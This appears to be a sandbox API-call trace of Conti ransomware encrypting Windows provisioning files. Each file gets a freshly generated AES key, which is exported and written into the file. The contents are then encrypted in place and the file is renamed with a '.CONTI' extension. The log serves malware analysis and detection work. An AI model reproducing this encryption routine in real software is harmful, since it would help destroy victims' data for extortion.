	[0107.783] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\147__connections_cellular_sfr (france)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0107.784] GetLastError () returned 0x0
	[0107.784] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=704) returned 1
	[0107.784] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c0
	[0107.784] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.784] SetEndOfFile (hFile=0x37c) returned 1
	[0107.784] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.784] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.784] WriteFile (in: hFile=0x37c, lpBuffer=0x17d5434*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x17d5434*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0107.786] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.786] ReadFile (in: hFile=0x37c, lpBuffer=0xee90000, nNumberOfBytesToRead=0x2c0, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x2c0, lpOverlapped=0x0) returned 1
	[0107.786] CryptEncrypt (in: hKey=0x17c7ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2c0, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2d0) returned 1
	[0107.786] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.786] WriteFile (in: hFile=0x37c, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x2d0, lpOverlapped=0x0) returned 1
	[0107.786] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.786] WriteFile (in: hFile=0x37c, lpBuffer=0x17d5428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x17d5428*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0107.786] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.786] CloseHandle (hObject=0x37c) returned 1
	[0107.786] GetProcessHeap () returned 0x1720000
	[0107.786] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.786] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml"
	[0107.786] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml.CONTI"
	[0107.786] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\147__connections_cellular_sfr (france)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\147__connections_cellular_sfr (france)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0107.787] GetProcessHeap () returned 0x1720000
	[0107.787] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.787] CryptDestroyKey (hKey=0x17c7ff0) returned 1
	[0107.787] GetProcessHeap () returned 0x1720000
	[0107.787] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3b40 | out: hHeap=0x1720000) returned 1
	[0107.787] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0107.787] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x17d2690 | out: phKey=0x17d2690*=0x17c8370) returned 1
	[0107.787] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2694, pdwDataLen=0x50ff91c | out: pbData=0x17d2694*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0107.788] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\148__connections_cellular_sfr (france)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0107.788] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\148__connections_cellular_sfr (france)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0107.788] GetLastError () returned 0x0
	[0107.788] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=707) returned 1
	[0107.788] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c3
	[0107.788] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.788] SetEndOfFile (hFile=0x37c) returned 1
	[0107.789] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.789] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.789] WriteFile (in: hFile=0x37c, lpBuffer=0x17d2694*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x17d2694*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0107.790] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.790] ReadFile (in: hFile=0x37c, lpBuffer=0xee90000, nNumberOfBytesToRead=0x2c3, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x2c3, lpOverlapped=0x0) returned 1
	[0107.790] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2c3, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2d0) returned 1
	[0107.790] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.790] WriteFile (in: hFile=0x37c, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x2d0, lpOverlapped=0x0) returned 1
	[0107.791] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.791] WriteFile (in: hFile=0x37c, lpBuffer=0x17d2688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x17d2688*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0107.791] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.791] CloseHandle (hObject=0x37c) returned 1
	[0107.791] GetProcessHeap () returned 0x1720000
	[0107.791] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.791] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml"
	[0107.791] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml.CONTI"
	[0107.791] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\148__connections_cellular_sfr (france)_i2$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\148__connections_cellular_sfr (france)_i2$(__mvid)@wap.provxml.conti")) returned 1
	[0107.792] GetProcessHeap () returned 0x1720000
	[0107.792] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.792] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0107.792] GetProcessHeap () returned 0x1720000
	[0107.792] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3c80 | out: hHeap=0x1720000) returned 1
	[0107.792] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0107.792] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x17d4d58 | out: phKey=0x17d4d58*=0x17c84f0) returned 1
	[0107.792] CryptExportKey (in: hKey=0x17c84f0, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4d5c, pdwDataLen=0x50ff91c | out: pbData=0x17d4d5c*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0107.793] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\149__connections_cellular_sfr (france)_i3$(__mvid)@wap.provxml")) returned 0x20
	[0107.793] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\149__connections_cellular_sfr (france)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0107.793] GetLastError () returned 0x0
	[0107.793] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=719) returned 1
	[0107.793] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cf
	[0107.793] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.793] SetEndOfFile (hFile=0x37c) returned 1
	[0107.793] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.793] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.793] WriteFile (in: hFile=0x37c, lpBuffer=0x17d4d5c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x17d4d5c*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0107.795] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.795] ReadFile (in: hFile=0x37c, lpBuffer=0xee90000, nNumberOfBytesToRead=0x2cf, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x2cf, lpOverlapped=0x0) returned 1
	[0107.795] CryptEncrypt (in: hKey=0x17c84f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2cf, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2d0) returned 1
	[0107.795] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.795] WriteFile (in: hFile=0x37c, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x2d0, lpOverlapped=0x0) returned 1
	[0107.795] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.795] WriteFile (in: hFile=0x37c, lpBuffer=0x17d4d50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x17d4d50*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0107.795] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.795] CloseHandle (hObject=0x37c) returned 1
	[0107.795] GetProcessHeap () returned 0x1720000
	[0107.796] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.796] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml"
	[0107.796] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml.CONTI"
	[0107.796] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\149__connections_cellular_sfr (france)_i3$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\149__connections_cellular_sfr (france)_i3$(__mvid)@wap.provxml.conti")) returned 1
	[0107.796] GetProcessHeap () returned 0x1720000
	[0107.796] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.796] CryptDestroyKey (hKey=0x17c84f0) returned 1
	[0107.796] GetProcessHeap () returned 0x1720000
	[0107.796] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17ca0b0 | out: hHeap=0x1720000) returned 1
	[0107.796] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0107.796] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x17d5f98 | out: phKey=0x17d5f98*=0x17c7ff0) returned 1
	[0107.797] CryptExportKey (in: hKey=0x17c7ff0, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5f9c, pdwDataLen=0x50ff91c | out: pbData=0x17d5f9c*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0107.797] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\14__connections_cellular_optus (australia)_i5$(__mvid)@wap.provxml")) returned 0x20
	[0107.797] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\14__connections_cellular_optus (australia)_i5$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0107.798] GetLastError () returned 0x0
	[0107.798] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=715) returned 1
	[0107.798] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cb
	[0107.798] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.798] SetEndOfFile (hFile=0x37c) returned 1
	[0107.798] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.798] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.798] WriteFile (in: hFile=0x37c, lpBuffer=0x17d5f9c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x17d5f9c*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0108.336] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.336] ReadFile (in: hFile=0x37c, lpBuffer=0xee90000, nNumberOfBytesToRead=0x2cb, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x2cb, lpOverlapped=0x0) returned 1
	[0108.336] CryptEncrypt (in: hKey=0x17c7ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2cb, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2d0) returned 1
	[0108.336] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.336] WriteFile (in: hFile=0x37c, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x2d0, lpOverlapped=0x0) returned 1
	[0108.336] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.336] WriteFile (in: hFile=0x37c, lpBuffer=0x17d5f90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x17d5f90*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0108.336] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.336] CloseHandle (hObject=0x37c) returned 1
	[0108.470] GetProcessHeap () returned 0x1720000
	[0108.470] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0108.471] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml"
	[0108.471] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml.CONTI"
